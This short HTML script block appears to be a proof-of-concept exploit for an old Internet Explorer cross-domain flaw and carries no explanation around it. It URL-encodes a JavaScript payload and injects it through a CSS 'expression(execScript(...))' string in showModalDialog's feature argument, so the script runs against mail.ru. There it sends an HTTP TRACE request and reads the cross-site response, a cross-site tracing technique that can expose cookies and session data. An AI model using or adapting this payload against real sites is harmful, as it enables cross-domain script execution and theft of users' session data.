<script>
function xssDomainRequest(){
var exampleCode = "var xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');xmlHttp.open('TRACE','http://mail.ru',false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert(xmlDoc);";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))';
showModalDialog('http://www.mail.ru',null,readyCode);}
</script>